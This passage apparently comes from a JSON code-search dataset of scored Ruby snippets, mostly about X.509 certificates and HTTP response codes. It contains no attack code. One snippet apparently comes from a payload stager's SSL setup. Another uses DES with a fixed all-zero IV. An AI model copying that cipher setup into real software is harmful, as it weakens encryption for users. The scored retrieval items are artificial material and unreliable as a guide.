\"MD5\")\n _log \"Creating issue for certificate with invalid algorithm\"\n _create_linked_issue \"invalid_certificate_algorithm\"\n end\n\n end",
"title": ""
},
{
"docid": "42aef61b9ee3e74b34f737603f9742a2",
"score": "0.61256695",
"text": "def generate_signed_cert\n unless @generated_signed_cert\n domains = %w(example.org www.example.org)\n\n key = OpenSSL::PKey::RSA.new(LetsCert::TEST::KEY_LENGTH)\n cert = OpenSSL::X509::Certificate.new\n cert.version = 2\n cert.serial = 2\n cert.issuer = OpenSSL::X509::Name.parse \"/DC=letscert/CN=CA\"\n cert.public_key = key.public_key\n cert.not_before = Time.now\n # 20 days validity\n cert.not_after = cert.not_before + 20 * 24 * 60 * 60\n ef = OpenSSL::X509::ExtensionFactory.new\n ef.subject_certificate = cert\n domains.each do |domain|\n cert.add_extension(ef.create_extension('subjectAltName',\n \"DNS:#{domain}\",\n false))\n end\n cert.sign(ca_root_key, OpenSSL::Digest::SHA256.new)\n\n @generated_signed_cert = [cert, domains]\n end\n\n @generated_signed_cert\n end",
"title": ""
},
{
"docid": "d7f72498b0b9a3377441b25ae3e9d640",
"score": "0.61244917",
"text": "def initialize\n @verify_certificates = true\n end",
"title": ""
},
{
"docid": "493e71c1af0f3857de9724dad2bf86cd",
"score": "0.6105344",
"text": "def cert_path=(_arg0); end",
"title": ""
},
{
"docid": "01ba3c244f35578c039429172369ed58",
"score": "0.61014223",
"text": "def create_certificate # :nodoc:\n child = DRb::Worm::Certificates.new @name, @key_size\n\n @key = child.create_key\n csr_pem = child.create_certificate_signing_request\n cert_pem = @ca.create_child_certificate csr_pem\n\n @certificate = OpenSSL::X509::Certificate.new cert_pem\n end",
"title": ""
},
{
"docid": "065e0291d97e99a86724d8c417b0e8ff",
"score": "0.6086051",
"text": "def certificate_subject\n attributes[:certificate_subject]\n end",
"title": ""
},
{
"docid": "0e3619a26065fbd1b521b6a56f5b25d3",
"score": "0.6085429",
"text": "def certificate_body\n data.certificate_body\n end",
"title": ""
},
{
"docid": "0e3619a26065fbd1b521b6a56f5b25d3",
"score": "0.6085429",
"text": "def certificate_body\n data.certificate_body\n end",
"title": ""
},
{
"docid": "2c9d31e249ba0253bb49fa65da850052",
"score": "0.608414",
"text": "def generate_ssl_cert\n\t\tcert_request = TEST_WORKDIR + 'example.csr'\n\t\tsigning_key = TEST_WORKDIR + 'example.key'\n\t\tcert = TEST_WORKDIR + 'example.crt'\n\n\t\tunless File.exist?( cert )\n\t\t\tsystem 'openssl', 'req',\n\t\t\t\t'-new', '-newkey', 'rsa:4096',\n\t\t\t\t'-days', '365', '-nodes', '-x509',\n\t\t\t\t'-subj', '/C=US/ST=Oregon/L=Portland/O=IT/CN=localhost',\n\t\t\t\t'-keyout', signing_key.to_s,\n\t\t\t\t'-out', cert.to_s\n\n\t\t\tsystem 'openssl', 'req',\n\t\t\t\t'-new',\n\t\t\t\t'-subj', '/C=US/ST=Oregon/L=Portland/O=IT/CN=localhost',\n\t\t\t\t'-key', signing_key.to_s,\n\t\t\t\t'-out', cert_request.to_s\n\n\t\t\tsystem 'openssl', 'rsa',\n\t\t\t\t'-in', signing_key.to_s,\n\t\t\t\t'-out', signing_key.to_s\n\n\t\t\tsystem 'openssl', 'x509',\n\t\t\t\t'-req', '-days', '365',\n\t\t\t\t'-in', cert_request.to_s,\n\t\t\t\t'-signkey', signing_key.to_s,\n\t\t\t\t'-out', cert.to_s\n\t\tend\n\tend",
"title": ""
},
{
"docid": "83726242d02fcab53f339794ae95f34f",
"score": "0.60771716",
"text": "def certificate_params\n params.require(:certificate).permit(:cn, :last_crt, :csr, :key, :detail, :acme_id, :owner_id)\n end",
"title": ""
},
{
"docid": "997e836bd79698ea0d36ad630fa03aa5",
"score": "0.60741043",
"text": "def certificate_params\n params.require(:certificate).permit(:cn, :last_crt, :csr, :key, :project_id, :revoked, :environment_id, :time_renewal, :auto_renewal)\n end",
"title": ""
},
{
"docid": "365ea680ce8367ffe132f66dd982d6f1",
"score": "0.6073322",
"text": "def cert_params\n params[:cert]\n end",
"title": ""
},
{
"docid": "88dd1d12400b22d0894818ed046eec29",
"score": "0.6062662",
"text": "def cert\n @cert ||= (OpenSSL::X509::Certificate.new File.read(cert_file) if cert_file)\n end",
"title": ""
},
{
"docid": "2d08b722026c622d2ed06e100c015278",
"score": "0.60602826",
"text": "def build_create_certificate_request\n set_cert_contents\n add_encrypted_request_to_soap(encrypt_application_request)\n end",
"title": ""
},
{
"docid": "1855270ffde3fd794a94927b70c799ed",
"score": "0.60571057",
"text": "def signature_1 \n @signature1 ||= read_certificate(\"certificate1\")\n end",
"title": ""
},
{
"docid": "326c7a5ab0e815635cd9489cc8a4ef72",
"score": "0.6047794",
"text": "def generate_certs(workspace_id, agent_guid)\n log.info('Generating certificate')\n\n # Create new private key of 2048 bits\n key = OpenSSL::PKey::RSA.new(2048)\n\n x509_version = 2 # enable X509 V3 extensions\n two_byte_range = 2**16 - 2 # 2 digit byte range for serial number\n year = 1 * 365 * 24 * 60 * 60 # 365 days validity for certificate\n\n # Generate CSR from new private key\n csr = OpenSSL::X509::Request.new\n csr.version = x509_version\n csr.subject = OpenSSL::X509::Name.new(\n [\n ['CN', workspace_id],\n ['CN', agent_guid],\n ['OU', 'Linux Monitoring Agent'], # TODO: Change this?\n ['O', 'Microsoft']\n ]\n )\n csr.public_key = key.public_key\n csr.sign(key, OpenSSL::Digest.new('SHA256'))\n\n # Self-sign CSR\n csr_cert = OpenSSL::X509::Certificate.new\n csr_cert.serial = SecureRandom.random_number(two_byte_range) + 1\n csr_cert.version = x509_version\n csr_cert.not_before = Time.now\n csr_cert.not_after = Time.now + year\n csr_cert.subject = csr.subject\n csr_cert.public_key = csr.public_key\n csr_cert.issuer = csr_cert.subject # self-signed\n ef = OpenSSL::X509::ExtensionFactory.new\n ef.subject_certificate = csr_cert\n ef.issuer_certificate = csr_cert\n csr_cert.add_extension(ef.create_extension('subjectKeyIdentifier', 'hash', false))\n csr_cert.add_extension(ef.create_extension('authorityKeyIdentifier', 'keyid:always', false))\n csr_cert.add_extension(ef.create_extension('basicConstraints', 'CA:TRUE', false))\n csr_cert.sign(key, OpenSSL::Digest.new('SHA256'))\n\n # Return key and cert\n [key, csr_cert]\n rescue => e\n error = e\n log.error(\"Error generating certs: #{error.message}\")\n exit\n end",
"title": ""
},
{
"docid": "6cdc713576534455afd9efcb7f233ee8",
"score": "0.60340965",
"text": "def certificate_id_digest_method\n super\n end",
"title": ""
},
{
"docid": "fca23c80165bdd59f2fbe421909385f6",
"score": "0.6033674",
"text": "def initialize(ssl_key, raw_key = nil)\n if ssl_key.kind_of? OpenSSL::Cipher\n @key = raw_key || ssl_key.key\n @cipher_class = ssl_key.class\n else\n @key = ssl_key\n @cipher_class = OpenSSL::Cipher::DES\n end\n \n # Create an OpenSSL wrapper for the key we received.\n cipher = @cipher_class.new @@cipher_mode\n class <<cipher\n def key=(new_key)\n super\n @_key = new_key\n end\n def key\n @_key\n end\n end\n cipher.key = @key\n cipher.iv = \"\\0\" * 16\n\n super cipher\n end",
"title": ""
},
{
"docid": "45d6373a71e7a7fea6a0a80b3a673c31",
"score": "0.6023001",
"text": "def signing_request\n req = OpenSSL::X509::Request.new\n req.public_key = key.public_key\n req.subject = OpenSSL::X509::Name.new([['CN', domain]])\n req.sign(key, OpenSSL::Digest::SHA256.new)\n end",
"title": ""
},
{
"docid": "b9bebae74b3209c3f0eebc361f7d5e89",
"score": "0.59930044",
"text": "def x509_certificate_string\n t=self.metadata_nokogiri.clone\n t.remove_namespaces!\n the_xpath = \"//KeyDescriptor/KeyInfo/X509Data/X509Certificate\"\n node = t.xpath(the_xpath)\n if node.blank?\n raise \"Could not extract X509Certificate from #{site.name}\"\n else\n node.inner_text\n end\n end",
"title": ""
},
{
"docid": "73dd364af42452b877134814438bbe98",
"score": "0.5987121",
"text": "def cert_path; end",
"title": ""
},
{
"docid": "73dd364af42452b877134814438bbe98",
"score": "0.5987121",
"text": "def cert_path; end",
"title": ""
},
{
"docid": "7fe7252c8075c71187d28a5e3b02995a",
"score": "0.59603715",
"text": "def certificate(record)\n record.public_send(options[:certificate])\n end",
"title": ""
},
{
"docid": "fef9d81e04e0bca2002fdd839f03b36f",
"score": "0.59589344",
"text": "def generate\n\n verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],\n datastore['HandlerSSLCert'])\n\n super(\n ssl: true,\n verify_cert_hash: verify_cert_hash\n )\n end",
"title": ""
},
{
"docid": "a19f9b0927c0378603245e6a87e60336",
"score": "0.59561265",
"text": "def cert\n @agent.certificate\n end",
"title": ""
},
{
"docid": "a4e921dfa91e8a9193caab236d36475c",
"score": "0.5954582",
"text": "def create\n # get the ca\n @authority = Certify::Authority.find(params[:certify_authority_id])\n\n # generate a new one\n @certificate = Certify::Certificate.new(params[:certificate])\n\n # generate the csr\n if (params[:csr] && params[:csr] != \"\")\n csr = Certify::Csr.new :data => params[:csr]\n else\n kp = Certify::KeyPair.find(params[:keypair][:id])\n csr = kp.generate_csr('CN=ca/DC=example')\n end\n\n # sign the csr\n @certificate = @authority.sign_csr(csr)\n\n # format\n respond_to do |format|\n if @certificate && @certificate.valid?\n format.html { redirect_to certify_authority_path(@authority), notice: 'Certificate was successfully created.' }\n format.json { render json: @certificate, status: :created, location: @certificate }\n else\n format.html { render action: \"new\" }\n format.json { render json: @certificate.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2a703a8a4f92b6fa29b6f2faf903d523",
"score": "0.5946233",
"text": "def create\n Puppet.debug('creating')\n\n # don't check priv_key here because priv_key isnt looked up via facts\n if resource[:cert]\n Puppet.debug('creating from exising cert')\n # user passed in the certificate data for us, use this\n cert = resource[:cert]\n priv_key = resource[:priv_key]\n else\n # create a new cert via Vault API\n Puppet.debug('creating from new cert from vault')\n new_cert = create_cert\n cert = new_cert['data']['certificate']\n priv_key = new_cert['data']['private_key']\n end\n\n thumbprint = nil\n serial_number = nil\n if cert\n Puppet.debug(\"computed new cert serial: #{serial_number}\")\n details = PuppetX::Encore::Vault::Util.cert_details(cert)\n thumbprint = details[:thumbprint]\n serial_number = details[:serial_number]\n end\n\n # if there is an existing cert with this cert_name(friendly name) that doesn't match our\n # thumbprint/serial, then destroy the old one, remove from trust store and create a new one\n if certificate_list && !certificate_list.empty? &&\n (certificate_list.size > 1 ||\n (certificate_list.first['thumbprint'] != thumbprint ||\n certificate_list.first['serial_number'] != serial_number))\n Puppet.debug(\"A certificate with the same cert name (FriendlyName) exists, but doesn't match our thumbprint and serial number, we're going to delete these old one(s)\")\n # NOTE: we _could_ try to keep some certs here, but this adds a ton of additional\n # complexity, like... which ones should we keep, what if the ones we're trying to\n # keep is expired, revoked, etc. Easiest thing is to just revoke and remove all\n # of the certs and make a new one.\n destroy\n\n # if we just destroyed all of the certs on the system, we need to make a new one\n # unless the cert and priv_key were given above\n unless cert && priv_key\n new_cert = create_cert\n cert = new_cert['data']['certificate']\n priv_key = new_cert['data']['private_key']\n end\n end\n\n # can only save/import the certificate into the cert store if we have\n # the cert and priv_key\n # this is important on a puppet run where we've read the existing certificate from\n # facts, but not the private key (private key isn't exposed in facts)\n # this way we can check on exist certs without overwriting them\n if cert\n if priv_key\n Puppet.debug('saving client cert to cert store')\n client_cert_save(cert, priv_key)\n else\n Puppet.info('not saving client cert because only have cert and not priv key')\n end\n else\n Puppet.debug('not saving client cert because cert and priv_key are both nil')\n end\n end",
"title": ""
},
{
"docid": "5f2c3209763809c453d586321a3c4efe",
"score": "0.5942584",
"text": "def der_to_pem(cert)\n OpenSSL::X509::Certificate.new(cert).to_pem\n rescue\n Rails.logger.error($!.message)\n raise I18n.t('validation.invalid_cert')\n end",
"title": ""
},
{
"docid": "243d593d54f90c96178abc8996d3a142",
"score": "0.5942245",
"text": "def load_x509_cert(cert_file, key_store)\n input_stream = java.io.BufferedInputStream.new(java.io.FileInputStream.new(cert_file))\n\n cert_factory = java.security.cert.CertificateFactory.get_instance('X.509')\n cert_count = 0 #The file might contain multiple certs\n\n while input_stream.available > 0\n begin\n cert = cert_factory.generate_certificate(input_stream)\n cert_count = cert_count + 1\n # load_x509_cert(cert, 'neo4j.javadriver.trustedcert.', cert_count, key_store)\n rescue java.security.cert.CertificateException => e\n\n # This happens if there is whitespace at the end of the certificate - we load one cert, and then try and load a\n # second cert, at which point we fail\n return if !e.get_cause.nil? && e.get_cause.get_message == 'Empty input'\n raise java.io.IOException.new(\"Failed to load certificate from `#{cert_file.get_absolute_path}`: #{cert_count} : #{e.get_message}\", e)\n end\n end\n end",
"title": ""
},
{
"docid": "d1bd4eaf42bd0150d1e5bf79feb7669a",
"score": "0.59323967",
"text": "def ssl_generate_certificate\n Rex::Socket::SslTcpServer.ssl_generate_certificate\n end",
"title": ""
},
{
"docid": "bf9b8b4ef4a7d8353cf5604bb3d6e878",
"score": "0.59309703",
"text": "def ssl_cert\n OpenSSL::X509::Certificate.new(File.read(self.class.ssl_cert_path))\n rescue => e\n # :nocov:\n unless allow_missing_certs?\n Rails.logger.warn \"Could not load #{service_name} SSL cert: #{e.message}\"\n raise e if Rails.env.production?\n end\n nil\n # :nocov:\n end",
"title": ""
},
{
"docid": "07ed77d8710eb1d7d77654b4c6f7d9a3",
"score": "0.5925963",
"text": "def get_certificate(aliaz)\n\n end",
"title": ""
},
{
"docid": "ff0778fe18aaca4fea34c6bf4406fd19",
"score": "0.5921592",
"text": "def certificate_signing_request\n return @certificate_signing_request\n end",
"title": ""
},
{
"docid": "11691caa0610a15a5e9f403bfdcc1b29",
"score": "0.5921118",
"text": "def cert= cert\n @agent.certificate = cert\n end",
"title": ""
},
{
"docid": "b311e8825c5da576c64f54346dc379b5",
"score": "0.5920229",
"text": "def subject\n @subject=EzCrypto::Name.new(@cert.subject) unless @subject\n @subject\n end",
"title": ""
},
{
"docid": "e3398fda7a561e38b1a078d59460939a",
"score": "0.5906394",
"text": "def own_signing_certificate\n application_response = extract_application_response(OP_PKI)\n at = 'xmlns|Certificate > xmlns|Certificate'\n node = Nokogiri::XML(application_response).at(at, xmlns: OP_XML_DATA)\n\n return unless node\n\n cert_value = process_cert_value node.content\n cert = x509_certificate cert_value\n cert.to_s\n end",
"title": ""
},
{
"docid": "c47628453b94b70e313e0a217a26437d",
"score": "0.59032613",
"text": "def ssl_client_certificate\n super\n end",
"title": ""
},
{
"docid": "4a4d8cd67b0c32605ffb1056a07d2596",
"score": "0.58977425",
"text": "def endorsement_certificate\n \n end",
"title": ""
},
{
"docid": "303ffa3ed676aa95ca634482c1786d81",
"score": "0.58940905",
"text": "def certificate_for\n @certificate_for || :default\n end",
"title": ""
},
{
"docid": "c34292fb8e535728f711db4ddfee577d",
"score": "0.5891656",
"text": "def meta_Certificate(entity, data)\n out = ''\n data.each_line do |line|\n fields = line.split(': ')\n unless fields.length != 2\n key = fields[0].strip.gsub ' ', '_'\n value = fields[1].strip.gsub '\"', ''\n\n out << skb_says(entity.app.id, \"hasCertificate#{key}\", value)\n end\n end\n out\n end",
"title": ""
},
{
"docid": "27fc03610fd47a124d2aab49940e45e3",
"score": "0.58813953",
"text": "def add_certificate(http); end",
"title": ""
},
{
"docid": "8f9a1e2c62b649728448982db5ac3d14",
"score": "0.58782274",
"text": "def openssl_create_csr(*args,&block)\n key = args[0][:key]\n name = OpenSSL::X509::Name.new [['CN', \"To be detailed\"]]\n req = OpenSSL::X509::Request.new\n req.version = 0\n req.subject = name\n req.public_key = key.public_key\n req.sign key, OpenSSL::Digest::SHA1.new\n req\n end",
"title": ""
},
{
"docid": "0ecce74115c803c4f0392ad51b003522",
"score": "0.5876145",
"text": "def create\n # Revoke the old cert before creating a new one\n revoke_cert if certificate && private_key && check_cert_exists\n new_cert = create_cert\n client_cert_save(new_cert)\n end",
"title": ""
},
{
"docid": "993be3a284fe406af6efbdbec006a853",
"score": "0.5875228",
"text": "def cert\n digidoc_cert if @cert.nil?\n @cert\n end",
"title": ""
},
{
"docid": "7f7061d77d9333a96f49a91740c14b9f",
"score": "0.5871351",
"text": "def certificate\n certificate_value = document.at_xpath('//wse:Security/wse:BinarySecurityToken', namespaces).text.strip\n OpenSSL::X509::Certificate.new Base64.decode64(certificate_value)\n end",
"title": ""
},
{
"docid": "7f7061d77d9333a96f49a91740c14b9f",
"score": "0.5871351",
"text": "def certificate\n certificate_value = document.at_xpath('//wse:Security/wse:BinarySecurityToken', namespaces).text.strip\n OpenSSL::X509::Certificate.new Base64.decode64(certificate_value)\n end",
"title": ""
},
{
"docid": "fb3d547da2bcd688a583c6d666635f8a",
"score": "0.58680725",
"text": "def cert_chain(raw)\n rawchain = split_chain(raw)\n rawchain.map { |rawcert| OpenSSL::X509::Certificate.new(rawcert) }\n end",
"title": ""
},
{
"docid": "7df6c511169a88ddf5cd7522446a6cc0",
"score": "0.5844927",
"text": "def initialize(rsa_bits = DEFAULT_RSA_BITS, digest = DEFAULT_DIGEST)\n @key, @cert = generate_keypair(rsa_bits, digest) unless rsa_bits.nil?\n end",
"title": ""
}
] |
eb34a824bb69d0598f6cc74156ae1ac4 | Return the response code. | [
{
"docid": "fd3e01077f0b797f449d731c0201df38",
"score": "0.0",
"text": "def code\n @code\n end",
"title": ""
}
] | [
{
"docid": "b9751edda8e7229698f9b9db8744e3ec",
"score": "0.8740891",
"text": "def response_code\n status_code\n end",
"title": ""
},
{
"docid": "bb01f17dec9a2d360b04ebdea8956701",
"score": "0.870844",
"text": "def response_code\n @code\n end",
"title": ""
},
{
"docid": "73b37e790f138b074cf72500658537ce",
"score": "0.8679635",
"text": "def code\n\t\t\t\treturn @resp.code\n\t\t\tend",
"title": ""
},
{
"docid": "0eff1d205276942deed72695014ef485",
"score": "0.86532813",
"text": "def code\n response.code\n end",
"title": ""
},
{
"docid": "35df2b67591fbeb171be29854d9568e3",
"score": "0.86451906",
"text": "def response_code\n @status\n end",
"title": ""
},
{
"docid": "35df2b67591fbeb171be29854d9568e3",
"score": "0.86451906",
"text": "def response_code\n @status\n end",
"title": ""
},
{
"docid": "4d4b8155b46a4478597bf871939d8723",
"score": "0.8631716",
"text": "def code\n http_response.code\n end",
"title": ""
},
{
"docid": "4d4b8155b46a4478597bf871939d8723",
"score": "0.8631716",
"text": "def code\n http_response.code\n end",
"title": ""
},
{
"docid": "153753ae660fec5d9e92d3ea43628400",
"score": "0.86010957",
"text": "def code\n @response.code\n end",
"title": ""
},
{
"docid": "571c0c1a265ae5290ce3a407ef1767b2",
"score": "0.8567783",
"text": "def status_code\n @response.status_code\n end",
"title": ""
},
{
"docid": "9db385007ed5a68cda6da608b2a119dc",
"score": "0.8558408",
"text": "def http_code\n return unless @raw_response.code\n\n Integer(@raw_response.code)\n end",
"title": ""
},
{
"docid": "84b44d679c44a11bc2bdb6c9947c204b",
"score": "0.8556697",
"text": "def response_code\n headers['Status'][0,3].to_i rescue 0\n end",
"title": ""
},
{
"docid": "84bbb3de2b95b9e52b31cf7a63005ed5",
"score": "0.8537339",
"text": "def status_code\n @http_response.code.to_i\n end",
"title": ""
},
{
"docid": "41735ae1cd70a45c9946c89c123d3c43",
"score": "0.85138756",
"text": "def code\n @response.code.to_i if @response\n end",
"title": ""
},
{
"docid": "35e3340ff73ab93d87f5a287706bb45f",
"score": "0.85081834",
"text": "def code\n response.code.to_i\n end",
"title": ""
},
{
"docid": "35e3340ff73ab93d87f5a287706bb45f",
"score": "0.85081834",
"text": "def code\n response.code.to_i\n end",
"title": ""
},
{
"docid": "77cba673a07a2af940eb1524dd00625b",
"score": "0.8504687",
"text": "def code\n @response.code.to_i\n end",
"title": ""
},
{
"docid": "602497341d2514101b5650f34ae03d24",
"score": "0.845536",
"text": "def response_status\n @response.code\n end",
"title": ""
},
{
"docid": "de5c31fff17cb8c667151b824f407378",
"score": "0.84216636",
"text": "def code\n Integer(@raw_response.code)\n end",
"title": ""
},
{
"docid": "8081547f32bb50b3af28b05783f85c71",
"score": "0.83822024",
"text": "def status\n @response.code.to_i\n end",
"title": ""
},
{
"docid": "6c8bd9f85fd3cefecce7817defb3c2f8",
"score": "0.8368669",
"text": "def status_code\n http_response.status.to_i\n end",
"title": ""
},
{
"docid": "c40190fa8f929dac5ce846436f85dd3d",
"score": "0.83658755",
"text": "def response_code\n @response_code\n end",
"title": ""
},
{
"docid": "a30212d85d729ef57e1d3803e7657ce8",
"score": "0.82880336",
"text": "def http_code\n @result.code\n end",
"title": ""
},
{
"docid": "58f12e5ddb2b05523883d423718dc8ad",
"score": "0.8191888",
"text": "def status_code\n @http_response.status\n end",
"title": ""
},
{
"docid": "cfccbb7d497df1c0353e9821aab80c82",
"score": "0.81069124",
"text": "def response_code; end",
"title": ""
},
{
"docid": "7170aac62d464158c4368b67ec8ed1b7",
"score": "0.80980825",
"text": "def status\n @response.response_code\n end",
"title": ""
},
{
"docid": "e1899dab6022506b5c03b31b277cdfb5",
"score": "0.8087732",
"text": "def get_response_code\n @result_code\n end",
"title": ""
},
{
"docid": "252a010446cda190a225507e2f5ac7a0",
"score": "0.8048244",
"text": "def resp_code\n params['resp_code']\n end",
"title": ""
},
{
"docid": "da3057b0041ff6c55e8a193f161bfaa9",
"score": "0.80142397",
"text": "def status\n response.code\n end",
"title": ""
},
{
"docid": "c4ecad60f58fb65ee0cec3a1145b2978",
"score": "0.7989503",
"text": "def response_code\n 200 # OK\n end",
"title": ""
},
{
"docid": "40375c3f20c757ab48ca8ecfac69167c",
"score": "0.79267234",
"text": "def response_code response\n response.to_s.split[1].to_i\n end",
"title": ""
},
{
"docid": "21dc52c72da3d11afdb2667893386b53",
"score": "0.7915808",
"text": "def response_code\n (options[:response_code] || options[:code]).to_i\n end",
"title": ""
},
{
"docid": "dff891414222626a6cfa4b7711af59e0",
"score": "0.78506035",
"text": "def http_response_code\n @attributes[:http_response_code]\n end",
"title": ""
},
{
"docid": "dff891414222626a6cfa4b7711af59e0",
"score": "0.78506035",
"text": "def http_response_code\n @attributes[:http_response_code]\n end",
"title": ""
},
{
"docid": "fb4e8437b72da039737f90f12da7d2f8",
"score": "0.7825428",
"text": "def status\n if @real_response.respond_to?(:code)\n @real_response.code.to_i\n else\n @real_response.status.to_i\n end\n end",
"title": ""
},
{
"docid": "15c75d7f51e2f00e530e5553717443c5",
"score": "0.7802601",
"text": "def code\n @code ||= WebServer::Response::RESPONSE_CODES[@code_no]\n end",
"title": ""
},
{
"docid": "e48ac80f02cc5175ad31bf624d6a3152",
"score": "0.7752625",
"text": "def http_code(res)\n begin\n return Integer res.code\n rescue\n return 500\n end\n end",
"title": ""
},
{
"docid": "6e39860a14c751f96021d20037e887cd",
"score": "0.7749733",
"text": "def response_status\n return @response_status\n end",
"title": ""
},
{
"docid": "e3dadc55026c22c360d662f33232d136",
"score": "0.77487737",
"text": "def code\n @data['response_code']\n end",
"title": ""
},
{
"docid": "8cc081016c491d4e05510a2e691a1574",
"score": "0.77367806",
"text": "def code\n @code ||= @net_http_res.code.to_i\n end",
"title": ""
},
{
"docid": "24011a4e5d5513ff48dd03e2550998dd",
"score": "0.77111876",
"text": "def status_code\n if @json_response.blank?\n get_parsed_singular('statusCode')\n else\n @json_response['ResponseStatus'].to_s\n end\n end",
"title": ""
},
{
"docid": "2c67f167bcd8316010e53a76511730e0",
"score": "0.769421",
"text": "def resp_text_code; end",
"title": ""
},
{
"docid": "2c67f167bcd8316010e53a76511730e0",
"score": "0.769421",
"text": "def resp_text_code; end",
"title": ""
},
{
"docid": "eb593ca35862303c7d0510c709b4bb79",
"score": "0.76927125",
"text": "def response_status\n @response[:status]\n end",
"title": ""
},
{
"docid": "442cae31e22d2c324985bd0e64119353",
"score": "0.7680975",
"text": "def code\n\t\t\t@code ||= @net_http_res.code.to_i\n\t\tend",
"title": ""
},
{
"docid": "0f3fb05bfad1fcc97b611d86587dfa00",
"score": "0.7663574",
"text": "def code\n @response.fetch(:error, {}).fetch(:code, nil) if @response.is_a?(Hash) && error?\n end",
"title": ""
},
{
"docid": "b9bfd4ba585512b35f4edf6786922961",
"score": "0.76592594",
"text": "def response_status; end",
"title": ""
},
{
"docid": "78d33551d29e06c9346ae03cf4a33bd1",
"score": "0.7657533",
"text": "def get_ResponseStatusCode()\n \t return @outputs[\"ResponseStatusCode\"]\n \tend",
"title": ""
},
{
"docid": "78d33551d29e06c9346ae03cf4a33bd1",
"score": "0.7657533",
"text": "def get_ResponseStatusCode()\n \t return @outputs[\"ResponseStatusCode\"]\n \tend",
"title": ""
},
{
"docid": "78d33551d29e06c9346ae03cf4a33bd1",
"score": "0.7657533",
"text": "def get_ResponseStatusCode()\n \t return @outputs[\"ResponseStatusCode\"]\n \tend",
"title": ""
},
{
"docid": "2db138d8b712ddc3b8edabc5d80d8199",
"score": "0.7643939",
"text": "def status_code\n data.status_code\n end",
"title": ""
},
{
"docid": "cfd8af928a4a4280c3da7563755a78e7",
"score": "0.76395893",
"text": "def code\n @hash['response_code'].to_i\n end",
"title": ""
},
{
"docid": "38261b7b1b8a5a2638ac08d7498afc72",
"score": "0.76336634",
"text": "def get_ResponseStatusCode()\n \t return @outputs[\"ResponseStatusCode\"]\n \tend",
"title": ""
},
{
"docid": "38261b7b1b8a5a2638ac08d7498afc72",
"score": "0.76336634",
"text": "def get_ResponseStatusCode()\n \t return @outputs[\"ResponseStatusCode\"]\n \tend",
"title": ""
},
{
"docid": "38261b7b1b8a5a2638ac08d7498afc72",
"score": "0.76336634",
"text": "def get_ResponseStatusCode()\n \t return @outputs[\"ResponseStatusCode\"]\n \tend",
"title": ""
},
{
"docid": "38261b7b1b8a5a2638ac08d7498afc72",
"score": "0.76336634",
"text": "def get_ResponseStatusCode()\n \t return @outputs[\"ResponseStatusCode\"]\n \tend",
"title": ""
},
{
"docid": "38261b7b1b8a5a2638ac08d7498afc72",
"score": "0.76336634",
"text": "def get_ResponseStatusCode()\n \t return @outputs[\"ResponseStatusCode\"]\n \tend",
"title": ""
},
{
"docid": "38261b7b1b8a5a2638ac08d7498afc72",
"score": "0.76336634",
"text": "def get_ResponseStatusCode()\n \t return @outputs[\"ResponseStatusCode\"]\n \tend",
"title": ""
},
{
"docid": "38261b7b1b8a5a2638ac08d7498afc72",
"score": "0.76336634",
"text": "def get_ResponseStatusCode()\n \t return @outputs[\"ResponseStatusCode\"]\n \tend",
"title": ""
},
{
"docid": "38261b7b1b8a5a2638ac08d7498afc72",
"score": "0.76336634",
"text": "def get_ResponseStatusCode()\n \t return @outputs[\"ResponseStatusCode\"]\n \tend",
"title": ""
},
{
"docid": "38261b7b1b8a5a2638ac08d7498afc72",
"score": "0.76336634",
"text": "def get_ResponseStatusCode()\n \t return @outputs[\"ResponseStatusCode\"]\n \tend",
"title": ""
},
{
"docid": "38261b7b1b8a5a2638ac08d7498afc72",
"score": "0.76336634",
"text": "def get_ResponseStatusCode()\n \t return @outputs[\"ResponseStatusCode\"]\n \tend",
"title": ""
},
{
"docid": "38261b7b1b8a5a2638ac08d7498afc72",
"score": "0.76336634",
"text": "def get_ResponseStatusCode()\n \t return @outputs[\"ResponseStatusCode\"]\n \tend",
"title": ""
},
{
"docid": "38261b7b1b8a5a2638ac08d7498afc72",
"score": "0.76336634",
"text": "def get_ResponseStatusCode()\n \t return @outputs[\"ResponseStatusCode\"]\n \tend",
"title": ""
},
{
"docid": "38261b7b1b8a5a2638ac08d7498afc72",
"score": "0.76336634",
"text": "def get_ResponseStatusCode()\n \t return @outputs[\"ResponseStatusCode\"]\n \tend",
"title": ""
},
{
"docid": "38261b7b1b8a5a2638ac08d7498afc72",
"score": "0.7633451",
"text": "def get_ResponseStatusCode()\n \t return @outputs[\"ResponseStatusCode\"]\n \tend",
"title": ""
},
{
"docid": "20105eb53ee49ec7f90e25a3eab6bb31",
"score": "0.76331913",
"text": "def code\n\t\t\t\t@code ||= @net_http_res.code.to_i\n\t\t\tend",
"title": ""
},
{
"docid": "90319263e079e2b87141b39472f5a89a",
"score": "0.76258296",
"text": "def code\n (err && err.status_code) || -1\n end",
"title": ""
},
{
"docid": "80b50a56af4f4b3d44d56739b069793f",
"score": "0.760492",
"text": "def get_ResponseStatusCode()\n \t return @outputs[\"ResponseStatusCode\"]\n \tend",
"title": ""
},
{
"docid": "79dc9c071b8904eb9f313ea995b1cf29",
"score": "0.7580371",
"text": "def status_code\n STATUS_CODE\n end",
"title": ""
},
{
"docid": "55a7d066e530beb6eb292aef8d8ae8fb",
"score": "0.7556256",
"text": "def http_status\n @response.status\n end",
"title": ""
},
{
"docid": "2e6041b1ef86b825c12cb85072f7f8ab",
"score": "0.7551387",
"text": "def ok_status_code\n 0\n end",
"title": ""
},
{
"docid": "b7e3af9106799c40028ad50e0d589f60",
"score": "0.7543375",
"text": "def code(response)\n /HTTP\\/1\\.1 (\\d+)/.match(response.lines.to_a.first.strip)[1].to_i\n end",
"title": ""
},
{
"docid": "2796f102e37431a4625ea844540e53c3",
"score": "0.753452",
"text": "def code\n @status_code == 200 ? 202 : @status_code\n end",
"title": ""
},
{
"docid": "525f0d20c2710e1854798c8666411ff7",
"score": "0.74808127",
"text": "def status_code\n code = @status_code ||= 200\n @status_code = 200 if reset_status_code\n code\n end",
"title": ""
},
{
"docid": "742ee1ff99a15f5ad3624ad202d39364",
"score": "0.7441308",
"text": "def get_status_code\n return @status_code\n end",
"title": ""
},
{
"docid": "9d739c78fa663a261d81864dbf1080ce",
"score": "0.7407252",
"text": "def status\n response.status\n end",
"title": ""
},
{
"docid": "9d739c78fa663a261d81864dbf1080ce",
"score": "0.7407252",
"text": "def status\n response.status\n end",
"title": ""
},
{
"docid": "9d739c78fa663a261d81864dbf1080ce",
"score": "0.7407252",
"text": "def status\n response.status\n end",
"title": ""
},
{
"docid": "0c7221439e7e1ee719fa99bd6c357437",
